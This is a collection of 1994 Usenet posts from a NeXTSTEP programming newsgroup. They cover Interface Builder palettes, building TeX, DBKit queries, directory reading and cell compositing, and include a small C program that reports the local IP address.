Newsgroups: comp.sys.next.programmer From: ploeger@aplki.toppoint.de (Andreas Ploeger) Subject: Re: Ib won't open .nib file Message-ID: <1994May20.104329.1021@aplki.toppoint.de> Sender: ploeger@aplki.toppoint.de (Andreas Ploeger) Organization: Andreas Ploeger References: <2rh5nn$op@yarrina.connect.com.au> Date: Fri, 20 May 94 10:43:29 GMT In article <2rh5nn$op@yarrina.connect.com.au> cdb@xedoc.com.au (Cameron Bromley) writes: > In article <2rfquj$8j4@gazette.bcm.tmc.edu> cmc@ltp.bcm.tmc.edu (Costa Colbert) > writes: > > 3.2 at home and at work; IB will read at work but not at home. What is > > going on ? > > Make sure all the palettes that the nib needs are loaded into IB on both > machines. If you really get in a jam, you can manually edit the > "~/.NeXT/defaults.nibd", wich specifies pathnames to palettes, etc. Whenever I have problems like this I run IB from within gdb. You get more detailled error messages this way. Andreas ------------------------------------------------------------ Andreas Ploeger E-Mail: ploeger@tpki.toppoint.de Kiel University Phone: (49) 431 597 1757 Clinic for Pediatric Cardiology FAX: (49) 431 597 1828 Schwanenweg 20, 24105 Kiel 1, Germany *** NeXT Mail welcome *** -- -------------------------------------------------------------------- Andreas Ploeger E-Mail: ploeger@tpki.toppoint.de
From: flight@mathi.uni-heidelberg.de (Gregor Hoffleit) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: Re: Source to NeXT TeX package? Followup-To: comp.sys.next.misc,comp.sys.next.programmer Date: 20 May 1994 14:02:01 GMT Organization: University of Heidelberg, Germany Message-ID: <2rifsp$rvg@sun0.urz.uni-heidelberg.de> References: <2ri39n$bd8@cisun2000.unil.ch> Sean Hill (hill@iisnext1.unil.ch) wrote: : I would like to compile and test the TeX package for NEXSTEP, I was : wondering if anyone could e-mail pointers to building the package or the : equivalent of the package on a non-Intel and non-Motorola NEXTSTEP : platform (hmm, which one?!). I have the source to TeXView of course, but : where should I get the source to the full package. The source for dvips is also included. tex itself as included in the current NeXTTeX package is mainly the normal web source compiled with web2c. To get a newer version of TeX, you could just connect to a CTAN ftp server (e.g. ftp.shsu.edu or ftp.dante.de), to go tex-archive/systems/web2c and get the needed packages (there's a couple of READMEs). I don't know if this compiles out of the box with NEXTSTEP 3.2, but there should be no big problem. Drawback: You miss the IPC features added to NeXTTeX, that is you don't have any longer '-v' and '-V' to start up the previewer and provide it automatically with every new page. The additions to NeXTTeX are copyrighted (NeXTTeX is in fact a 'commercial' TeX from Radical Eye's Tom Rokicki and sponsored by NeXT) and therefore not public available. BTW, is there interest in a further development of the NeXTTeX package ? I would be glad to hear opinions about missing features. E.g. a 'search' feature in the previewer, perhaps even source tracking, but also updates to the new TeX distribution (3.1415 in the meantime) ! Perhaps I'd try to work in it. Gregor -- | Gregor Hoffleit admin MATHInet / contact HeidelNeXT | | MAIL: Mathematisches Institut PHONE: (49)6221 56-5771 | | INF 288, 69120 Heidelberg / Germany FAX: 56-3812 | | EMAIL: flight@mathi.uni-heidelberg.de (NeXTmail) |
From: cmc@ltp.bcm.tmc.edu (Costa Colbert) Newsgroups: comp.sys.next.programmer Subject: Re: Ib won't open .nib file Date: 20 May 1994 15:12:47 GMT Organization: Baylor College of Medicine, Houston, Tx Distribution: world Message-ID: <2rik1f$dcq@gazette.bcm.tmc.edu> Thanks a bunch to all who figured out the (apparently not so mysterious) IB story. The following email about sums it up ... cmc ------------------------------------------------------------------- If the nib from work contains any objects from a palette that you don't have at home then you can't load the nib at home. This happens to me all the time. You will encounter a similar situation with PB and 3rd party libraries. It at least gives you the opportunity to examine all the software licenses... For fun here are my most used commands (assuming a SLIP>connection): make clean cd .. gnutar cvf - MyProject | gzip > /tmp/MyProject.tar.gz rcp -rp /tmp/MyProject.tar.gz homehost:~/Work (... later at home) cd ~/Work gnutar zxvf MyProject.tar.gz Ah hell, think I'll read news instead. -- >Maybe it's a Wisconsin thing... >jeff.hallgren@tahiti.umhc.umn.edu (NeXTMail OK)
From: cmc@ltp.bcm.tmc.edu (Costa Colbert) Newsgroups: comp.sys.next.programmer Subject: Re: Ib won't open .nib file Date: 20 May 1994 15:13:26 GMT Organization: Baylor College of Medicine, Houston, Tx Distribution: world Message-ID: <2rik2m$dcu@gazette.bcm.tmc.edu> References: <1994May20.104329.1021@aplki.toppoint.de> Thanks a bunch to all who figured out the (apparently not so mysterious) IB story. The following email about sums it up ... cmc ------------------------------------------------------------------- If the nib from work contains any objects from a palette that you don't have at home then you can't load the nib at home. This happens to me all the time. You will encounter a similar situation with PB and 3rd party libraries. It at least gives you the opportunity to examine all the software licenses... For fun here are my most used commands (assuming a SLIP>connection): make clean cd .. gnutar cvf - MyProject | gzip > /tmp/MyProject.tar.gz rcp -rp /tmp/MyProject.tar.gz homehost:~/Work (... later at home) cd ~/Work gnutar zxvf MyProject.tar.gz Ah hell, think I'll read news instead. -- >Maybe it's a Wisconsin thing... >jeff.hallgren@tahiti.umhc.umn.edu (NeXTMail OK)
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: Where to get PDO information? Message-ID: <1994May20.151150.2318@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <1994May10.082820.18651@cc.usu.edu> Date: Fri, 20 May 94 15:11:50 GMT In article <1994May10.082820.18651@cc.usu.edu> slxn8@cc.usu.edu writes: > Where can I get some info on PDO? I am looking for a list of what systems it > will run on, and also some general pricing information. My local Nextstep > reseller said, "PD What?" > The German magazine ix says: Now: NEXTSTEP HP-UX (Hewlet Packard) After NEXTSTEP Expo: SunOS 4.1.3 (Sun) Solaris 2.3 (Sun) DG-UX (Data General) OSF/1 (Digital Equipment) Prices vary with server size. At the end of 1994 PDOs will be CORBA compliant (says NeXT). Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@DART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
Newsgroups: comp.sys.next.programmer From: Nghiem_Alex@pcp.ca (Alex Nghiem) Subject: /usr/ucb/mail in gdb: permission problems still? Message-ID: <1994May20.162921.6874@pcp.ca> Keywords: gdb, /usr/ucb/mail Sender: news@pcp.ca Organization: PanCanadian Petroleum Ltd. Date: Fri, 20 May 94 16:29:21 GMT Hello there: I posted the following problem to the net several weeks ago: I have program which needs to e-mail the user a record of a particular transaction that he/she performed (that is, it's not sneaky and the user is the one who's requested this feature). I originally used system("/bin/mail") and I encountered a problem when running the application under gdb. I then receive a series of answers which informed me that gdb will not execute applications with a setuid (which /bin/mail has) properly. The most common solution was to use /usr/ucb/mail. I tried this and I still get the same permission problem when I run my app under gdb (it works fine outside of gdb). On our system, /usr/ucb/mail is symbolically linked to Mail, which does NOT have a setuid. This solution obviously has worked for other people but I can't get it to work. Is there something obvious I'm overlooking? Alex Nghiem_Alex@ppc.ca (until June 16th) alex@oolesson.com
From: wkwong@magnus.acs.ohio-state.edu (Waihon A Kwong) Newsgroups: comp.sys.next.programmer Subject: IB NS1.0->NS3.x : Anybody have experience? Date: 20 May 1994 18:17:11 GMT Organization: The Ohio State University Distribution: usa Message-ID: <2riur7$r9o@charm.magnus.acs.ohio-state.edu> Hi, I have an ancient project in NS1.0, and now I want to work on it and get it to work on NS3.x (more specifically NS3.2). But after NS3.0, there is a project file for the project builder to creat a NeXTAPP. Is there any document describe how to transfer all the classes and IB from NS1.0 to NS3.x? Any help would be appreicated. Regards, Andy -- //|| // @ E-mail: wkwong@magnus.acs.ohio-state.edu // || // @ //==||/\\ @ "If you put your mind to it, you can accompish anything!" // || \\ @ "BUT MY NeXTMAIL IS NOT WORKING YET!!!!!!!!!!!!!"
From: gil@atlantic.mps.ohio-state.edu (Gil Rivlis) Newsgroups: comp.sys.next.programmer Subject: Question about headers Date: 20 May 1994 19:22:05 GMT Organization: The Ohio State University Distribution: world Message-ID: <2rj2kt$rjg@charm.magnus.acs.ohio-state.edu> I have a somewhat general question about headers. I was trying to compile the source code for Richards Stevens's book "Unix Network Programming" and got the following exit: cc -O -c tcpopen.c /NextDeveloper/Headers/bsd/netinet/in.h:116: undefined type, found `u_char' /NextDeveloper/Headers/bsd/netinet/in.h:117: undefined type, found `u_short' /NextDeveloper/Headers/bsd/netinet/in.h:118: undefined type, found `u_long' /NextDeveloper/Headers/bsd/netinet/in.h:179: undefined type, found `u_short' *** Exit 1 That's strange, says I, I though u_char etc are defined somewhere. So, the test program: /*---*/ #include <netinet/in.h> main() { exit(0); } /* --- */ does not comile. Adding the header <sys/types.h> (where u_char etc. are defined), comiles the code. The question: Isn't a header file suppose to be self contained? If it need u_char it should include it, no? Is this a bug? Gil -- Gil Rivlis, Physics Department, OSU gil@atlantic.mps.ohio-state.edu
From: xinwei@otter.Stanford.EDU (Sha Xin Wei) Newsgroups: comp.sys.next.programmer Subject: AIFF Date: 20 May 1994 19:38:55 GMT Organization: Stanford University Message-ID: <2rj3kf$m2f@nntp2.Stanford.EDU> References: <1994May6.102352.901@rna.indiv.nluug.nl> How do I read an AIFF file into a Sound object? Anyone have some source code for a conversion, if necessary? Any documentation on AIFF would be appreciated. Xin Wei ASD Stanford
Newsgroups: comp.sys.next.programmer From: pelletk@il.us.swissbank.com (Ken Pelletier) Subject: Using alpha for background of cells within a matrix? Message-ID: <1994May20.211529.10105@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Fri, 20 May 1994 21:15:29 GMT I've got a view with an image, on top of which is a matrix of textfield cells. I want the image to show through the cells' backgrounds, so I set them to transparent. Works like a champ. With a transparent background, the highlighting and enabling/disabling of cells has no visual effect (as documented). I handle the enabling/disabling by setting the textColor. For highlighted cells, I want to set the background to a color with alpha so that the underlying image still shows through (as with the transparent cells), but is tinted with the color I choose. What I get is a solid color (seems to be composited with COPY, not SOVER). Any suggestions as to how to get around this (without subclassing textFieldCell and overriding its drawSelf)? - Ken
Newsgroups: comp.sys.next.programmer From: axeman@frog.cen.encompass.com (Jack Axaopoulos) Subject: What causes Window Server Death? Message-ID: <1994May20.141444.10567@glv.cen.encompass.com> Keywords: nextstep programming windows Sender: usenet@glv.cen.encompass.com Organization: Encompass Date: Fri, 20 May 1994 14:14:44 GMT REPOST: Im writing an application which monitors system components. It receives messages and does simple animations to a view. Problem is, every now and then I get: ------------------------------------------------------------------------ DPS client library error: Error while writing to connection, DPSContext 414484, data -110 Exiting due to Window Server death ------------------------------------------------------------------------ Anyone know of any common causes for this? I though it was some kind of overflow. But im using NXPing, and it doesnt help. Im also using a timer (timed entry) for polling of new messages, could this possibly cause any problems? Axe
From: M.Crawford@dcs.shef.ac.uk Newsgroups: comp.sys.next.programmer Subject: Sound, ands Sun ADPCM compression Date: 21 May 1994 07:40:22 -0500 Organization: UTexas Mail-to-News Gateway Sender: nobody@cs.utexas.edu Message-ID: <940521133623.5766AACUF.malc@jeeves> Some Suns now use a "new" sound-compression scheme (ADPCM), particularly for voice mail etc. A while ago I sent out some code I'd amended for turning this format into something NeXTs can cope with. This was before I discovered that SNDReadHeader "rewinds" the fd to the beginning (the next byte read from the fd is in fact the first byte of the sound header again, not the first byte of the sound data). Clearly, therefore, my original code has a subtle bug in it! For anyone who has it already, the easiest way to fix it is to add lseek(STDIN_FD, sound->dataLocation, SEEK_SET); AFTER SNDReadHeader(STDIN_FD, &sound); in decode.c Anyone who wants the full "distribution", please ask. Many thanks to Arun Chandra for helping me out with SNDReadHeader. Have fun, mmalcolm. SHeffield Auditory Group | Vox : (+44) 742 768555 ext 5569 Dept. Computer Science | direct : 825569 Sheffield University | Fax : (+44) 742 780972 Regent Court | Email: malc@dcs.shef.ac.uk 211 Portobello Street | (NeXTMail, MIME welcome) Sheffield S1 4DP, UK. | (Read-Receipts discouraged :-)
Newsgroups: comp.sys.next.programmer From: gerti@BITart.sub.org (Gerd Knops) Subject: Re: Using alpha for background of cells within a matrix? Message-ID: <Cq5nnw.AM@BITart.sub.org> Sender: usenet@BITart.sub.org Organization: BITart, NEXTSTEP/OPENSTEP Consulting References: <1994May20.211529.10105@il.us.swissbank.com> Date: Sat, 21 May 1994 13:47:56 GMT In article <1994May20.211529.10105@il.us.swissbank.com> pelletk@il.us.swissbank.com (Ken Pelletier) writes: > I've got a view with an image, on top of which is a matrix of textfield > cells. I want the image to show through the cells' backgrounds, so I > set them to transparent. Works like a champ. > > With a transparent background, the highlighting and enabling/disabling > of cells has no visual effect (as documented). I handle the > enabling/disabling by setting the textColor. > > For highlighted cells, I want to set the background to a color with > alpha so that the underlying image still shows through (as with the > transparent cells), but is tinted with the color I choose. What I > get is a solid > color (seems to be composited with COPY, not SOVER). > > Any suggestions as to how to get around this (without subclassing > textFieldCell and overriding its drawSelf)? > The problem is, that there is no composite at all involved. The cell uses something like rectfill to draw the background. If you really want that effect, you will have to subclass the cell, have it draw in an off screen window, and composite the contents to the screen. Gerd
Newsgroups: comp.sys.next.programmer From: jfr@trwlasd.com Subject: Re: Anyone using AccessKit from VNP? Message-ID: <Cq5tBM.H15@trwlasd.com> Sender: jfr@trwlasd.com (Jon Rosen) Organization: TRW References: <CputHt.3GM@oa.guild.org> Date: Sat, 21 May 1994 15:50:08 GMT Mark Onyschuk writes > hal@xedoc.com.au wrote: > > [ questions about Access Kit] > I've used Access kit in projects for a local client. It's a great > product especially coupled with the VNP companion product UIBinder or a > work-alike (we rolled our own UI binder-like tool called OABinder). Dittoes! We have used Access Kit in several consulting projects along with UIBinder and we are thrilled. UIBinder is great if for nothing else than its simplicity of using DBTableViews without any database behind it... You just set up a Class, configure your binder to access the selectors for your Class, put your objects in a List and say [binder setContents:myList] and your DBTableView is working! WAY COOL! > Some minor shortcomings: > > 1. VNPConfigure application is a bit unweildy. True, this is one of the tough ones. I have beaten on Van Simmons at VNP about this :-) One thing we would like to see is a way to set up both dbbindings and uibindings in text files (NXStringTables?) so you can just read them in. > 2. No tool is provided to generate persistent Objective C object > skeletons. > > (we built a short PERL script to fix the second problem) We did this also at first. Then we came up with an even slicker solution (literally in the past two weeks). We actually configure our class selector methods at run-time from a list in a text file. We set up a ten generic get/set methods for ints, doubles, strings, etc. and then we actually use objc_registerName() to register new selectors and class_addMethods() to have these selectors point at our generic get/set methods. Then we create the bindings at run-time as well. TRY THAT WITH C++ :-) Jon Rosen
From: eagle@nest.catt.ncsu.edu (Daniel C. L'Hommedieu) Newsgroups: comp.unix.questions,comp.sys.next.programmer Subject: reading a directory Followup-To: comp.sys.next.programmer Date: 21 May 1994 19:20:49 GMT Organization: The Eagle's NeXT...er...Nest Distribution: world Message-ID: <2rlmuh$1qr@taco.cc.ncsu.edu> Originator: eagle@nest.catt.ncsu.edu I realise that this is probably a very basic question, but I cannot figure out how to do this. I'm wanting to read a directory, and have my program get all the filenames so I can parse them. Under DOS (Turbo C++), I had "findfirst" and "findnext"...but I can't find anything equivalent under UNIX. I thought about exec'ing "ls -l" and piping the output to a file, then parsing that file, but that's a silly, roundabout way. There's GOT to be a better way. Followups to comp.sys.next.programmer. Thanks for your help. Daniel -- Daniel "eagle" L'Hommedieu Daniel_LHommedieu@nest.catt.ncsu.edu eagle@nest.catt.ncsu.edu (NeXT Mail preferred)
Newsgroups: comp.sys.next.programmer From: fred@genesis.demon.co.uk (Lawrence Kirby) Subject: Re: reading a directory Distribution: world References: <2rlmuh$1qr@taco.cc.ncsu.edu> Organization: none Date: Sun, 22 May 1994 00:25:00 +0000 Message-ID: <769566300snz@genesis.demon.co.uk> Sender: usenet@demon.co.uk In article <2rlmuh$1qr@taco.cc.ncsu.edu> eagle@nest.catt.ncsu.edu "Daniel C. L'Hommedieu" writes: >I realise that this is probably a very basic question, but I cannot >figure out how to do this. I'm wanting to read a directory, and have my >program get all the filenames so I can parse them. The POSIX way is to use the opendir/readdir/closedir/rewinddir functions. -- ----------------------------------------- Lawrence Kirby | fred@genesis.demon.co.uk Wilts, England | 70734.126@compuserve.com -----------------------------------------
From: eagle@catt.ncsu.edu (Daniel C. L'Hommedieu) Newsgroups: comp.sys.next.programmer Subject: Re: reading a directory Date: 22 May 1994 01:06:20 GMT Organization: North Carolina State University Message-ID: <2rmb6c$5v3@taco.cc.ncsu.edu> References: <2rlmuh$1qr@taco.cc.ncsu.edu> <769566300snz@genesis.demon.co.uk> fred@genesis.demon.co.uk (Lawrence Kirby) writes: >In article <2rlmuh$1qr@taco.cc.ncsu.edu> > eagle@nest.catt.ncsu.edu "Daniel C. L'Hommedieu" writes: >>I realise that this is probably a very basic question, but I cannot >>figure out how to do this. I'm wanting to read a directory, and have my >>program get all the filenames so I can parse them. >The POSIX way is to use the opendir/readdir/closedir/rewinddir functions. Gee whiz...as was pointed out to me many times, I forgot to tell what language. Anyway, it was C, and somewhere today I located the opendir and related functions (I was perusing the xv source). Anyway, thanks for the help guys. Now I can get to work on the project I am doing! Daniel -- Daniel "eagle" L'Hommedieu Daniel_LHommedieu@nest.catt.ncsu.edu eagle@nest.catt.ncsu.edu (NeXT Mail preferred)
From: xinwei@otter.Stanford.EDU (Sha Xin Wei) Newsgroups: comp.sys.next.programmer Subject: Re: DBKit question Date: 22 May 1994 01:30:19 GMT Organization: Stanford University Message-ID: <2rmcjb$9j6@nntp2.Stanford.EDU> References: <2rgiv5$e12@solaris.cc.vt.edu> R. Craig Woods writes > Is it possible to issue an SQL function such as max() or count() > using the DBKit? If so, would someone explain how you do this, > or point me to online documentation or examples? > > Thanks. > ---Craig Woods Tyler Gingrich (tyler@vanguard.com) has a little object "which will go out to an attached database with an SQL query and return with a SINGLE (1 row, 1 column) response." "trigger" functions are another matter. anyone know if it's possible in 3.2? how? I'll nextmail you the code. -- Sha Xin Wei Stanford
From: xepo@csd4.csd.uwm.edu (Scott R Violet) Newsgroups: comp.sys.next.programmer Subject: How to determinate what apps are running (only NEXTSTEP ones) Date: 22 May 1994 16:49:23 GMT Organization: Computing Services Division, University of Wisconsin - Milwaukee Distribution: usa Message-ID: <2ro2ejINN4im@uwm.edu> Originator: xepo@csd4.csd.uwm.edu Hi all, I'm wondering how WM determines what apps are currently running (as in the processes panel), and how when you select the icon it knows which context it should activate? I seem to remember someone (EPS) posting how to do it a while back, but I can't remember how. -- -Scott Violet (xepo@csd4.csd.uwm.edu)
From: ken@nika.com (Ken Pelletier) Newsgroups: comp.sys.next.programmer Subject: Re: DBKit question Date: 22 May 1994 17:14:56 GMT Organization: MCSNet Services Message-ID: <2ro3ug$16d@News1.mcs.com> References: <2rmcjb$9j6@nntp2.Stanford.EDU> Yes. One way is to create a DBExpression and insert it into your record list. I have a class that I use with tables that have unique integer id's. Its role is to be a vendor of new id's for a given table. You give it a property when you instantiate it, and it sets up an internal record list with a DBExpression using "MAX(<property>) +1". When you invoke it's nextID method, you get the next available id from the table. I can nextmail you an example if you like. R. Craig Woods writes > Is it possible to issue an SQL function such as max() or count() > using the DBKit? If so, would someone explain how you do this, > or point me to online documentation or examples? > > Thanks. > ---Craig Woods -- Ken Pelletier (ken@nika.com, ken_pelletier@swissbank.com)
From: tlm@ameslab.gov (Tom Marchioro) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Re: Source to NeXT TeX package? Date: 22 May 1994 18:25:24 GMT Organization: Iowa State University, Ames, Iowa Distribution: world Message-ID: <2ro82k$erd@news.iastate.edu> References: <2ri39n$bd8@cisun2000.unil.ch> Sean Hill writes []I would like to compile and test the TeX package for NEXSTEP, I was []wondering if anyone could e-mail pointers to building the package or the []equivalent of the package on a non-Intel and non-Motorola NEXTSTEP []platform (hmm, which one?!). I have the source to TeXView of course, but []where should I get the source to the full package. [] The sources to NeXT-TeX itself are not going to be availalbe to you, unless, in a complete change of previous behavior, NeXT is willing to release them (NeXT-TeX, hell, I'm still trying to get the source for Date!). NeXT-TeX is owned by NeXT. dvips and TeXview are owned by Tom Rokicki, who created NeXT-TeX for NeXT and maintains it, but does not own it. For the software Tom (a truly fantastic guy!) does own he makes the source available. NeXT, however, does not. Sorry the answer isn't more positive. Regards --- Tom -- =========================================================================== Dr. Thomas L. Marchioro II Two-wheeled theoretical physicist Applied Mathematical Sciences 515-294-5543 Ames Laboratory 515-233-1216 (home) Ames, Iowa 50011 tlm@ameslab.gov
From: rick@mft.neusc.bcm.tmc.edu (Rick Gray) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: Re: Source to NeXT TeX package? Date: 22 May 1994 18:51:42 GMT Organization: Division of Neuroscience, Baylor College of Medicine, Houston, TX Message-ID: <2ro9ju$kns@gazette.bcm.tmc.edu> References: <2ri39n$bd8@cisun2000.unil.ch> <2rifsp$rvg@sun0.urz.uni-heidelberg.de> Sean Hill (hill@iisnext1.unil.ch) wrote: : I would like to compile and test the TeX package for NEXSTEP, I was : wondering if anyone could e-mail pointers to building the package or the : equivalent of the package on a non-Intel and non-Motorola NEXTSTEP : platform (hmm, which one?!). I have the source to TeXView of course, but : where should I get the source to the full package. I built the standard web2c distribution (then web2c-5.851d from ics.uci.edu) last fall with little or no problems on my Epson NX running 3.1. ------------------------------------------------------------ Here are the only changes to make it work without a single error or warning (after running configure): 1) [axon]396-> diff c-auto.h c-auto.h~ 126c126 < #undef DIRENT --- > #define DIRENT 1 2) [axon]399-> diff c-auto.h.in c-auto.h.in~ 137c137 < #define SYSDIR --- > #undef SYSDIR 3) [axon]403-> diff c-memstr.h c-memstr.h~ 34,35c34,35 < /* #define index strchr */ < /* #define rindex strrchr */ --- > #define index strchr > #define rindex strrchr Since Co-xist wasn't out yet for the Intel hardware, there was a problem linking in MFWindows.a (I had undef'ed X11 and all the window stuff)... I got around that by doing: cc -o virmf vextra.o imf.o openinout.o mf0.o mf1.o mf2.o mf3.o mf4.o mf5.o mf6.o mf7.o mf8.o mf9.o ../lib/lib.a by hand. I also had to add some '\'s in this line in sedscript to install-manpages: s;@DECLARE_YYTEXT@;extern char yytext [ ] ; ; We have an exported directory on one machine called /NetLibrary that contains all the fonts and inputs shared between a bunch of black hardware and now 1 Intel machine. I didn't want to experiment with formats being sharable between architechures, so I did the following so everything but bases and formats were shared among machines: [axon]105-> pwd /usr/local/lib/tex [axon]106-> ls -l total 1 lrwxrwxrwx 1 root 25 Sep 10 21:51 fonts ->/NetLibrary/TeX/tex/fonts drwxr-xr-x 2 root 1024 Sep 10 22:10 formats lrwxrwxrwx 1 root 26 Sep 10 21:51 inputs ->/NetLibrary/TeX/tex/inputs lrwxrwxrwx 1 root 6 Sep 10 22:13 macros -> inputs lrwxrwxrwx 1 root 22 Sep 10 21:51 ps ->/NetLibrary/TeX/tex/ps lrwxrwxrwx 1 root 23 Sep 10 21:51 src ->/NetLibrary/TeX/tex/src [axon]107-> cd ../mf [axon]108-> ls -l total 1 drwxr-xr-x 2 root 1024 Sep 10 22:10 bases lrwxrwxrwx 1 root 25 Sep 10 21:53 inputs -> /NetLibrary/TeX/mf/inputs -- Rick Gray, Division of Neuroscience, Baylor College of Medicine, Houston, Tx 77030 | Phone:(713) 798-3346 | Fax: (713) 799-8544 Internet: rick@mft.neusc.bcm.tmc.edu | NeXTMail accepted
Newsgroups: comp.sys.next.programmer From: mikef@xnet.com (Mike Fleming) Subject: Re: TopDraw or AppSoft Draw for Intel Processors Message-ID: <Cq8Ay4.2GC@amiserv.chi.il.us> Sender: news@amiserv.chi.il.us Organization: XNet Public Access Internet, Naperville, IL (708-983-6435) References: <2r9j2l$l0i@darkstar.UCSC.EDU> Date: Mon, 23 May 1994 00:06:02 GMT In article <2r9j2l$l0i@darkstar.UCSC.EDU> claspac@tallis.ucsc.edu (Jas-Russell) writes: > TopDraw or AppSoft Draw for Intel Processors > > I am desperate to get either the source code > for TopDraw/Appsoft Draw > or a binary executable that will run under > Intel. I have a large number of drawings > and I recently changed hardware to a 486 machine. > > The demo copy available from some FTP sites > has had the save feature disabled and so is unusable. Here's the solution. 1. Find the box that your NS/FIP came in. 2. Find the book labled "3rd Party Products" 3. In the back of the book, there is a CD-ROM 4. On the CD-ROM, there is a "demo" version of Appsoft Draw that is different (for some reason) from the one on the FTP sites. You can put your license number in here and use it. I know I do. :) Ain't that neat? Had it all along and you didn't even know it...:) > -- > Name: Will Russell > E-mail: claspac@cats.ucsc.edu > Voice: 408-459-2060 > FAX: 408-429-0146 Mike Fleming
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Finding my IP address Followup-To: comp.unix.questions Date: 23 May 1994 02:45:16 GMT Organization: San Francisco State University Message-ID: <2rp5bs$rc9@nic-nac.CSU.net> References: <1994May19.120841.7390@aplki.toppoint.de> Since each interface has its own IP address, "my" IP address can differ depending on who's doing the asking. This is particularly important on firewall machines, but applicable to any multihomed system. Even a machine with "only" a single Ethernet interface will serve to illustrate. Compile the attached example and try myipaddr some-internet-host myipaddr localhost N.B.: On non-NEXTSTEP systems you shouldn't need herror.c-- herror() is provided in the usual libraries on most BSD-derived systems. Followups directed to comp.unix.questions, since this isn't NEXTSTEP-specific (nor is it even UNIX-specific, really). -=EPS=- ------- myipaddr.c /* NS 3.1/3.2: * cc -o myipaddr -s -object -O -bsd -no-precomp -fno-builtin myipaddr.c \ * herror.c */ #ifdef NX_COMPILER_RELEASE_3_0 #include <bsd/libc.h> #include <bsd/netdb.h> #include <bsd/sys/types.h> #include <bsd/sys/socket.h> #include <bsd/netinet/in.h> #include <bsd/arpa/inet.h> #else #ifdef NeXT #include <libc.h> #else #include <stdio.h> #endif #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #endif main(argc, argv) int argc; char *argv[]; { register int s; register struct hostent *h; struct sockaddr_in rsin, lsin; int n; if (argc!=2) { (void)fprintf(stderr, "Usage: %s host\n", *argv); exit(1); } bzero((char *)&rsin, sizeof rsin); rsin.sin_port=htons(IPPORT_DISCARD); rsin.sin_addr.s_addr=inet_addr(argv[1]); if (rsin.sin_addr.s_addr!=0xffffffff) rsin.sin_family=AF_INET; else { if (!(h=gethostbyname(argv[1]))) { herror(argv[1]); exit(1); } rsin.sin_family=h->h_addrtype; bcopy(h->h_addr_list[0], (char *)&rsin.sin_addr, h->h_length); } if ((s=socket(PF_INET, SOCK_DGRAM, 0))<0) { perror("socket"); exit(1); } if (connect(s, (struct sockaddr *)&rsin, sizeof rsin)<0) { perror("connect"); (void)close(s); exit(1); } n=sizeof lsin; if (getsockname(s, (struct sockaddr *)&lsin, &n)<0) { perror("getsockname"); (void)close(s); exit(1); } (void)printf("My IP address is [%s]", inet_ntoa(lsin.sin_addr)); (void)printf("--if [%s] wants to know.\n", inet_ntoa(rsin.sin_addr)); (void)close(s); exit(0); } ------- herror.c /* * Copyright (c) 1988, 1990 Regents of the University of California. * All rights reserved. * * Redistribution and use in source and binary forms are permitted provided * that: (1) source distributions retain this entire copyright notice and * comment, and (2) distributions including binaries display the following * acknowledgement: ``This product includes software developed by the * University of California, Berkeley and its contributors'' in the * documentation or other materials provided with the distribution and in * all advertising materials mentioning features or use of this software. * Neither the name of the University nor the names of its contributors may * be used to endorse or promote products derived from this software without * specific prior written permission. * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ #include <stdio.h> char *h_errlist[] = { "Error 0", "Unknown host", /* 1 HOST_NOT_FOUND */ "Host name lookup failure", /* 2 TRY_AGAIN */ "Unknown server error", /* 3 NO_RECOVERY */ "No address associated with name", /* 4 NO_ADDRESS */ }; int h_nerr = { sizeof(h_errlist)/sizeof(h_errlist[0]) }; int h_errno; /* In some version of SunOS this is necessary */ /* * herror -- * print the error indicated by the h_errno value. */ herror(s) char *s; { if (s && *s) { fprintf(stderr, "%s: ", s); } if ((h_errno < 0) || (h_errno >= h_nerr)) { fprintf(stderr, "Unknown error\n"); } else if (h_errno == 0) { #if defined(sun) fprintf(stderr, "Host unknown\n"); #endif /* defined(sun) */ } else { fprintf(stderr, "%s\n", h_errlist[h_errno]); } }
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: Re: Using alpha for background of cells within a matrix? Date: 22 May 1994 23:17:36 -0500 Organization: UTexas Mail-to-News Gateway Sender: nobody@cs.utexas.edu Message-ID: <9405221514.AA01582@flexus> LS, The NEXTSTEP GUI includes such details as the colour scheme of display objects, which is fixed in the factory, so to speak, and involves only the 4 shades of gray in the original cube, and no partial transparencies. There's no way to get around that other than by subclassing the relevant methods. If you don't want to do that, you should give up your idea. It's a feature :-) : if you want to sprinkle crimson and purple throughout the GUI, you have to work hard first (I had once suggested here or on NeXT-prog to add more colour if that's what people want, maybe unconscously, before adopting NEXTSTEP, but I have come to think there are probably other priorities right now than frivolous or ergonomical---Text!---colour additions, sadly enough). Gerd's suggestion has a few flaws, and the simplest explanation (to avoid a lengthy exposition of the facts) for why he suggests this might be that he didn't think of PScompositerect(...,NX_SOVER). Use this in your reimplementation of ``-[ButtonCell drawInside:inView:]'' (if that suffices). Check the readability on a monochrome screen as well, and do ad-hoc things to cure any problems there! Raf foot-in-mouth Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again)
